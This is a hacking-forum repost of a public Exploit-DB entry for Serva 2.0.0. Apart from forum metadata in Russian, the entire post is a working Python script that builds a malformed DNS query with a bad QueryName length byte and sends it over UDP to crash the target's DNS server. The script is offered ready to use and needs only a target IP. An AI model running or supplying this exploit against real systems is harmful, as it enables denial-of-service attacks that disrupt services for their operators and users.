Exploit Serva 2.0.0 - DNS Server QueryName Remote Denial of Service

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
24110
Проверка EDB
  1. Пройдено
Автор
JULIEN AHRENS
Тип уязвимости
DOS
Платформа
WINDOWS
CVE
null
Дата публикации
2013-01-14
Код:
#!/usr/bin/python

# Exploit Title: Serva v2.0.0 DNS Server QueryName Remote Denial of Service Vulnerability
# Version:       v2.0.0
# Date:          2013-01-14
# Author:        Julien Ahrens (@MrTuxracer)
# Homepage:      www.inshell.net
# Software Link: http://www.vercot.com
# Tested on:     Windows XP SP3 Professional German
# Notes:         Malformed QueryName causes the crash
# Howto:         -
 
import socket

target="192.168.0.1"
port=53

TransACTID="\x03\xc3"
Flags="\x01\x00"
QuestionRRC="\x00\x01"
AnswerRRC="\x00\x00"
AuthRRC="\x00\x00"
AddRRC="\x00\x00"
QueryName="\xFF\x69\x6e\x73\x68\x65\x6c\x6c\x03\x6e\x65\x74\x00" #vulnerable: first length-byte
QueryType="\x00\x01"
QueryClass="\x00\x01"
payload = TransACTID + Flags + QuestionRRC + AnswerRRC +  AuthRRC + AddRRC + QueryName + QueryType + QueryClass

print "[*] Connecting to Target " + target + "..."

s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM, 0) #udp

print "[*] Sending malformed request..."

s.sendto(payload,(target,port))

print "[!] Exploit has been sent!\n"
s.close()
 
Источник
www.exploit-db.com

Похожие темы